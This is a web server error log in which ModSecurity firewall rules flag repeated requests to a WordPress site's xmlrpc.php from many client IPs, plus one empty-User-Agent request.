[Wed Apr 15 16:22:34.336963 2026] [:error] [pid 12396:tid 12403] [client 51.68.74.67:37090] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9KysCQWGYUWgxc5kj3awAAAIU"]
[Wed Apr 15 16:27:51.331303 2026] [:error] [pid 11383:tid 11409] [client 91.204.161.79:46260] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9MBzOMRk2pAgm2-j7NrwAAAA4"]
[Wed Apr 15 16:30:12.681115 2026] [:error] [pid 11475:tid 11501] [client 46.224.56.168:43932] [client 46.224.56.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.56.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9MlJ7upE98bj816HPS2gAAAVg"]
[Wed Apr 15 16:34:39.639642 2026] [:error] [pid 11385:tid 11465] [client 178.62.28.91:41446] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Nnx_mZoXMMCiUoKVGxgAAANA"]
[Wed Apr 15 16:34:54.506998 2026] [:error] [pid 11385:tid 11473] [client 43.156.13.166:52374] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Nrh_mZoXMMCiUoKVGywAAANg"]
[Wed Apr 15 16:35:47.247643 2026] [:error] [pid 11383:tid 11413] [client 103.80.48.225:37996] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9N4zOMRk2pAgm2-j7QGgAAABI"]
[Wed Apr 15 16:38:24.747833 2026] [:error] [pid 12396:tid 12416] [client 212.132.70.123:50218] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9OgMCQWGYUWgxc5kj7zwAAAJI"]
[Wed Apr 15 16:38:59.593192 2026] [:error] [pid 11475:tid 11481] [client 159.89.91.236:59136] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Oo57upE98bj816HPWXwAAAUQ"]
[Wed Apr 15 16:39:07.394814 2026] [:error] [pid 12433:tid 12458] [client 155.133.132.65:53898] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Oq7wxDHWF005pP_65GgAAARc"]
[Wed Apr 15 16:47:31.520079 2026] [:error] [pid 11475:tid 11479] [client 138.68.166.30:36320] [client 138.68.166.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.166.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Qo57upE98bj816HPaDgAAAUI"]
[Wed Apr 15 16:52:50.290492 2026] [:error] [pid 11475:tid 11490] [client 13.239.161.156:56080] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9R4p7upE98bj816HPb4AAAAU0"]
[Wed Apr 15 16:56:31.262012 2026] [:error] [pid 12433:tid 12458] [client 82.223.33.117:52572] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Sv7wxDHWF005pP_68XgAAARc"]
[Wed Apr 15 16:57:52.172506 2026] [:error] [pid 12396:tid 12411] [client 217.182.82.42:32865] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9TEMCQWGYUWgxc5kgBEAAAAI0"]
[Wed Apr 15 17:02:41.866982 2026] [:error] [pid 11383:tid 11419] [client 88.99.147.18:33406] [client 88.99.147.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.147.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9UMTOMRk2pAgm2-j7X-wAAABg"]
[Wed Apr 15 17:06:39.097046 2026] [:error] [pid 12433:tid 12450] [client 141.94.27.49:36156] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9VH7wxDHWF005pP_6-fwAAAQ8"]
[Wed Apr 15 17:15:22.726512 2026] [:error] [pid 11385:tid 11460] [client 75.127.14.16:40978] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9XKh_mZoXMMCiUoKVM7QAAAMs"]
[Wed Apr 15 17:15:38.490848 2026] [:error] [pid 12396:tid 12400] [client 52.7.119.212:37196] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9XOsCQWGYUWgxc5kgFagAAAII"]
[Wed Apr 15 17:18:09.932302 2026] [:error] [pid 11475:tid 11489] [client 34.67.6.8:50802] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9X0Z7upE98bj816HPnAwAAAUw"]
[Wed Apr 15 17:21:03.658196 2026] [:error] [pid 11475:tid 11492] [client 23.98.148.92:53148] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Yf57upE98bj816HPocAAAAU8"]
[Wed Apr 15 17:22:11.444183 2026] [:error] [pid 11383:tid 11417] [client 213.160.71.62:41604] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9YwzOMRk2pAgm2-j7dMgAAABY"]
[Wed Apr 15 17:22:17.960179 2026] [:error] [pid 11384:tid 11437] [client 185.199.223.39:37314] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9YyXOhpt4MrQIXF7ChqgAAAE8"]
[Wed Apr 15 17:26:32.117754 2026] [:error] [pid 65412:tid 65422] [client 23.239.25.95:60440] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9ZyPEYT61VHfhVE5f0SgAAAYg"]
[Wed Apr 15 17:30:30.023216 2026] [:error] [pid 11475:tid 11484] [client 159.65.127.101:44860] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9atp7upE98bj816HPs-wAAAUc"]
[Wed Apr 15 17:33:55.869572 2026] [:error] [pid 11384:tid 11430] [client 138.197.145.244:55220] [client 138.197.145.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.145.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9bg3Ohpt4MrQIXF7CjUQAAAEg"]
[Wed Apr 15 17:38:39.668721 2026] [:error] [pid 11384:tid 11443] [client 143.244.166.58:54500] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9cn3Ohpt4MrQIXF7CkSwAAAFU"]
[Wed Apr 15 17:38:51.664628 2026] [:error] [pid 12396:tid 12411] [client 159.65.249.223:64208] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9cq8CQWGYUWgxc5kgKugAAAI0"]
[Wed Apr 15 17:41:00.859737 2026] [:error] [pid 11383:tid 11396] [client 185.199.223.39:34286] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9dLDOMRk2pAgm2-j7jmQAAAAE"]
[Wed Apr 15 17:41:22.092939 2026] [:error] [pid 12396:tid 12417] [client 141.94.27.49:43736] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9dQsCQWGYUWgxc5kgLUAAAAJM"]
[Wed Apr 15 17:43:53.340911 2026] [:error] [pid 11385:tid 11453] [client 85.128.143.129:50296] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9d2R_mZoXMMCiUoKVROgAAAMU"]
[Wed Apr 15 17:46:03.449095 2026] [:error] [pid 12433:tid 12437] [client 5.9.109.189:36712] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9eW7wxDHWF005pP_7GPAAAAQI"]
[Wed Apr 15 17:47:52.355479 2026] [:error] [pid 12396:tid 12410] [client 159.65.127.101:41902] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9eyMCQWGYUWgxc5kgNSQAAAIw"]
[Wed Apr 15 17:55:06.573782 2026] [:error] [pid 65412:tid 65427] [client 68.183.124.132:52884] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9gevEYT61VHfhVE5f4nQAAAY0"]
[Wed Apr 15 18:05:32.549072 2026] [:error] [pid 11384:tid 11424] [client 185.226.232.56:47864] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9i7HOhpt4MrQIXF7Co4QAAAEI"]
[Wed Apr 15 18:06:43.762893 2026] [:error] [pid 12396:tid 12408] [client 159.203.177.184:39660] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9jM8CQWGYUWgxc5kgSCQAAAIo"]
[Wed Apr 15 18:07:15.696388 2026] [:error] [pid 12396:tid 12417] [client 216.73.216.215:3076] [client 216.73.216.215] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.rcacivilgroup.com|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ad9jU8CQWGYUWgxc5kgSPgAAAJM"]
[Wed Apr 15 18:13:23.141852 2026] [:error] [pid 28907:tid 28967] [client 46.182.4.125:52719] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9kwxMbq4Od23S648zitgAAAMM"]
[Wed Apr 15 18:17:31.415122 2026] [:error] [pid 30956:tid 30962] [client 20.84.7.202:8000] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9lu0BGUpjaWntNYq1RzAAAAAI"]
[Wed Apr 15 18:20:09.764907 2026] [:error] [pid 30956:tid 30966] [client 81.169.202.222:52588] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9mWUBGUpjaWntNYq1SlAAAAAY"]
[Wed Apr 15 18:20:26.123417 2026] [:error] [pid 30958:tid 31038] [client 161.97.171.174:51550] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9maseG3wSKTO7NWFF32gAAANY"]
[Wed Apr 15 18:21:28.131442 2026] [:error] [pid 30957:tid 31007] [client 157.66.27.55:56074] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9mqH5gwVEVXHfVSipeKAAAAFI"]
[Wed Apr 15 18:30:51.188012 2026] [:error] [pid 31053:tid 31079] [client 47.244.90.157:47702] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9o2xcEkLCmvF0fjDeUfgAAAJc"]
[Wed Apr 15 18:36:33.125344 2026] [:error] [pid 31053:tid 31071] [client 141.94.18.111:46416] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9qMRcEkLCmvF0fjDeaZgAAAI8"]
[Wed Apr 15 18:38:23.326955 2026] [:error] [pid 37370:tid 37381] [client 54.36.181.89:41236] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9qn3g-gnM2Ga0cGADuAQAAAQk"]
[Wed Apr 15 18:42:04.492212 2026] [:error] [pid 31053:tid 31068] [client 23.98.148.92:55596] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9rfBcEkLCmvF0fjDec1gAAAIw"]
[Wed Apr 15 18:42:26.120815 2026] [:error] [pid 30957:tid 30999] [client 78.47.118.248:51546] [client 78.47.118.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.118.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9rkn5gwVEVXHfVSipm-wAAAEo"]
[Wed Apr 15 18:46:02.497003 2026] [:error] [pid 31053:tid 31064] [client 185.113.100.4:34870] [client 185.113.100.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.113.100.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9sahcEkLCmvF0fjDed8gAAAIg"]
[Wed Apr 15 18:46:14.162690 2026] [:error] [pid 37370:tid 37377] [client 13.235.96.22:57742] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9sdng-gnM2Ga0cGADycgAAAQU"]
[Wed Apr 15 18:48:30.310184 2026] [:error] [pid 30958:tid 31019] [client 80.82.219.138:49914] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9s_seG3wSKTO7NWFGEPAAAAMM"]
[Wed Apr 15 18:50:17.375574 2026] [:error] [pid 31053:tid 31070] [client 178.62.32.109:37260] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9taRcEkLCmvF0fjDefqAAAAI4"]
[Wed Apr 15 18:50:34.154579 2026] [:error] [pid 37370:tid 37374] [client 95.211.55.162:40280] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9teng-gnM2Ga0cGAD0ewAAAQI"]
[Wed Apr 15 18:52:37.213581 2026] [:error] [pid 30956:tid 30965] [client 46.21.198.186:53550] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9t9UBGUpjaWntNYq1bgQAAAAU"]
[Wed Apr 15 18:57:27.808169 2026] [:error] [pid 37370:tid 37380] [client 51.68.74.67:46432] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9vF3g-gnM2Ga0cGAD4JgAAAQg"]
[Wed Apr 15 19:06:08.760761 2026] [:error] [pid 30957:tid 30993] [client 217.182.169.225:40884] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xIH5gwVEVXHfVSipsvQAAAEQ"]
[Wed Apr 15 19:06:47.261704 2026] [:error] [pid 37370:tid 37396] [client 103.99.181.113:57000] [client 103.99.181.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.99.181.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xR3g-gnM2Ga0cGAD9hgAAARg"]
[Wed Apr 15 19:06:57.851126 2026] [:error] [pid 30956:tid 30964] [client 103.99.181.113:57578] [client 103.99.181.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.99.181.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xUUBGUpjaWntNYq1eWQAAAAQ"]
[Wed Apr 15 19:07:08.607936 2026] [:error] [pid 37370:tid 37387] [client 103.99.181.113:57902] [client 103.99.181.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.99.181.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xXHg-gnM2Ga0cGAD9wgAAAQ8"]
[Wed Apr 15 19:07:19.288757 2026] [:error] [pid 31053:tid 31057] [client 103.99.181.113:58220] [client 103.99.181.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.99.181.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xZxcEkLCmvF0fjDemcQAAAIE"]
